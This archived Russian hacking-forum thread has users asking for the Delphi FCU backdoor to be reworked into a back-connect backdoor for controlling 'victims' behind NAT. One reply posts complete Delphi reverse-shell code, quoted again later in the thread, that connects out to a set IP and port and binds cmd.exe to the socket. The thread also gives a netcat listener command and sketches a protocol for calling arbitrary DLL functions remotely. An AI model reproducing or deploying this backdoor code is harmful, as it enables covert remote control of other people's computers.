PDA

Просмотр полной версии : Кто нибудь может переделать бекдор под бекконнект?


Nightmarе
02.10.2008, 02:59
В общем, ситуация следующая, это не заказ программы, а так сказать идея.
На данный момент, если я не ошибаюсь, в интернете нету ни одного бекконнект-бекдора, а 70-80% интернетчиков, особенно Москвичи сидят за NAT.
Вот хотелось бы предложить написать кому-нибудь такой бекдор, он будет в новинку, и я уверен будет пользоваться популярностью, ибо вещь нужная, но нету 
Но чем писать с нуля, проще модифицировать исходник какого-нибудь достойного бекдора где уже есть всё необходимое, и такой исходник на Delphi имеется, это Forced Control Uploader (FCU), лично на мой взгляд превосходит великий Radmin почти во всём.
Во первых умеет видеть скрытые файлы и папки, во вторых есть функция загрузки и запуска файла на компе у жертвы, ну и в третьих самоуничтожение.
Принцип стандартного бекдора, сервер (вес около 60 килобайт) открывает порт (можно с паролем), ну и клиент который джонится к внешнему IP адресу.

Вот идеальный вариант если кто может, конечно же модифицировать его под бекконнект. Чтобы сервер при запуске не открывал порт, а сам пытался заджониться по IP адресу (или адресу сайта) на определённый порт.
А в клиенте надо сделать такую функцию, чтобы он принимал соединение только с указанного IP адреса (потому что жертва не одна, их может быть много), ну а чтобы узнать IP адрес в сервере можно добавить функцию, чтобы он отстукивал скажем на гейт с сообщением +IP+ готов к соединению…
На мой взгляд, незаменимая вещь в хозяйстве.

Ну и вот сам исходник на Delphi этого FCU:
http://ifolder.ru/8374569

guest3297
02.10.2008, 03:23
На данный момент, если я не ошибаюсь, в интернете нету ни одного бекконнект-бекдора
Ты ошибаешься.

По секрету первый rdp бекконеект появился еще 2003 году.

Nightmarе
02.10.2008, 03:52
Ну тогда ссылки в студию где это чудо можно увидеть, естественно имеется ввиду чтобы там была функция лазить по винчестеру, а не просто командная строка или фишки типа открыть\закрыть сидиром и т.д...

И тогда такой вопрос, а исходники на Delphi подобных бекдоров есть?

slesh
02.10.2008, 11:05
Дык всё тут просто. проще некуда. Уже давно существую и бекконнект бекдоры и бекконнект соксы.
На счет простого бекконнект бекдора - можно было прочитать еще в статье Криса Касперски, где он описывал проход через фаерволы. и для демонстрации там была вешь типа бекконнект шел. На дельфе редается это в пару команд

slesh
02.10.2008, 11:16
Для простой демонстрации вот наспех написанный код


var
StartupInfo:_STARTUPINFOA;
ProcessInformation:_PROCESS_INFORMATION;
addr:tsockaddrin;
sock:thandle;
wsdata:TWSADATA;
const
shell_port=12345;
shell_ip='127.0.0.1';
begin
WSAStartup($202,wsdata);
sock:=WSASocketA(2,1,6,nil,0,0);
if sock=INVALID_SOCKET then exit;
addr.sin_family:=AF_INET;
addr.sin_addr.s_addr:=0;
addr.sin_port:=htons(shell_port);
addr.sin_addr.s_addr := inet_addr(shell_ip);
if Connect(sock, @addr, SizeOf(addr))<>0 then
begin
closesocket(sock);
exit;
end;
fillchar(StartupInfo,sizeof(StartupInfo),0);
StartupInfo.cb:=sizeof(StartupInfo);
StartupInfo.dwFlags:=$100;
StartupInfo.hStdInput:=sock;
StartupInfo.hStdOutput:=sock;
StartupInfo.hStdError:=sock;
CreateProcessA(nil,'cmd.exe',nil,nil,true,$8000040 ,nil,nil,StartupInfo,ProcessInformation);
end;


Это просто пример для Shell
А так я задумывался както над довольно интерестной вешью в плане сетевого програмимрования. Но времяни небыло для реализации. Суть её такова:
Структура команды следующая
Имя библиотеки + имя функции + параметры + что передать обратно в сокет.
И идет это примерно так
1) Читаешь команду из сокета
2) грузишь бебиблиотеку
3) грузишь функцию из неё
4) выполняешь эту функцию с заданными параметрами
5) результат выполнения передается обратно в зависимости от параметров которые были указаны в запросе. Или коды ошибок

Теоретически таким образом можно делать практически всё что угодно.
К примеру нужно вывести на экран сообщение
для этого будет типа
len_lib + user32.dll + len_name + MessageBoxA + param_type+[param_len]+param итд ... + 0
типа
0 - результат выполнения функции
1 ... n - переданный параметр
При том что организация переменных - тоже проста. а заранее указанные типы данных тоже расширяют всё.
В этоге теоретически можно мное что делать удаленно.
P.S. Но это тока пока моя теория.

Nightmarе
02.10.2008, 12:46
Если-б я мог написать бекконнект-бекдора я наверное не создавал-бы тему.
А так-же я знаю что они ЕСТЬ в теории, но не про нашу честь. Скачать и заюзать их всё равно нельзя.

_nic
02.10.2008, 12:55
А так я задумывался както над довольно интерестной вешью в плане сетевого програмимрования. Но времяни небыло для реализации. Суть её такова:
Структура команды следующая
Имя библиотеки + имя функции + параметры + что передать обратно в сокет.
И идет это примерно так
1) Читаешь команду из сокета
2) грузишь бебиблиотеку
3) грузишь функцию из неё
4) выполняешь эту функцию с заданными параметрами
5) результат выполнения передается обратно в зависимости от параметров которые были указаны в запросе. Или коды ошибок

Теоретически таким образом можно делать практически всё что угодно.
К примеру нужно вывести на экран сообщение
для этого будет типа
len_lib + user32.dll + len_name + MessageBoxA + param_type+[param_len]+param итд ... + 0
типа
0 - результат выполнения функции
1 ... n - переданный параметр
При том что организация переменных - тоже проста. а заранее указанные типы данных тоже расширяют всё.
В этоге теоретически можно мное что делать удаленно.
P.S. Но это тока пока моя теория.
такое уже вроде в природе существует ru.wikipedia.org/wiki/Remote_Procedure_Call

0verbreaK
02.10.2008, 18:06
slesh в твоем коде производится соединение, но порт не связывается/перечислять и не производится accept, он разве будет работать?

slesh
02.10.2008, 20:20
2 0verbreaK дык это connect back - по этмоу еще как работает. т.е. он стучится на ткрытый порт.
Типа nc -p 12345 -L

Nightmarе
02.10.2008, 21:55
Так всё-таки, может ли кто в данном исходнике изменить просто назначение клиента и сервера просто поменяв функции местами?

life_is_shit
03.10.2008, 02:13
Извини, в сабже не силен (сам знаешь=)), но тема интересна.

2all если таковые есть, выложите плиз, не хечется юзать не проверенное.

De-visible
03.10.2008, 11:53
Для простой демонстрации вот наспех написанный код


var
StartupInfo:_STARTUPINFOA;
ProcessInformation:_PROCESS_INFORMATION;
addr:tsockaddrin;
sock:thandle;
wsdata:TWSADATA;
const
shell_port=12345;
shell_ip='127.0.0.1';
begin
WSAStartup($202,wsdata);
sock:=WSASocketA(2,1,6,nil,0,0);
if sock=INVALID_SOCKET then exit;
addr.sin_family:=AF_INET;
addr.sin_addr.s_addr:=0;
addr.sin_port:=htons(shell_port);
addr.sin_addr.s_addr := inet_addr(shell_ip);
if Connect(sock, @addr, SizeOf(addr))<>0 then
begin
closesocket(sock);
exit;
end;
fillchar(StartupInfo,sizeof(StartupInfo),0);
StartupInfo.cb:=sizeof(StartupInfo);
StartupInfo.dwFlags:=$100;
StartupInfo.hStdInput:=sock;
StartupInfo.hStdOutput:=sock;
StartupInfo.hStdError:=sock;
CreateProcessA(nil,'cmd.exe',nil,nil,true,$8000040 ,nil,nil,StartupInfo,ProcessInformation);
end;


Это просто пример для Shell
А так я задумывался както над довольно интерестной вешью в плане сетевого програмимрования. Но времяни небыло для реализации. Суть её такова:
Структура команды следующая
Имя библиотеки + имя функции + параметры + что передать обратно в сокет.
И идет это примерно так
1) Читаешь команду из сокета
2) грузишь бебиблиотеку
3) грузишь функцию из неё
4) выполняешь эту функцию с заданными параметрами
5) результат выполнения передается обратно в зависимости от параметров которые были указаны в запросе. Или коды ошибок

Теоретически таким образом можно делать практически всё что угодно.
К примеру нужно вывести на экран сообщение
для этого будет типа
len_lib + user32.dll + len_name + MessageBoxA + param_type+[param_len]+param итд ... + 0
типа
0 - результат выполнения функции
1 ... n - переданный параметр
При том что организация переменных - тоже проста. а заранее указанные типы данных тоже расширяют всё.
В этоге теоретически можно мное что делать удаленно.
P.S. Но это тока пока моя теория.
slesh :)))) +++

0verbreaK
03.10.2008, 13:23
slesh а только щас дошло, я его представил в виде обычного шелла, тему не читал.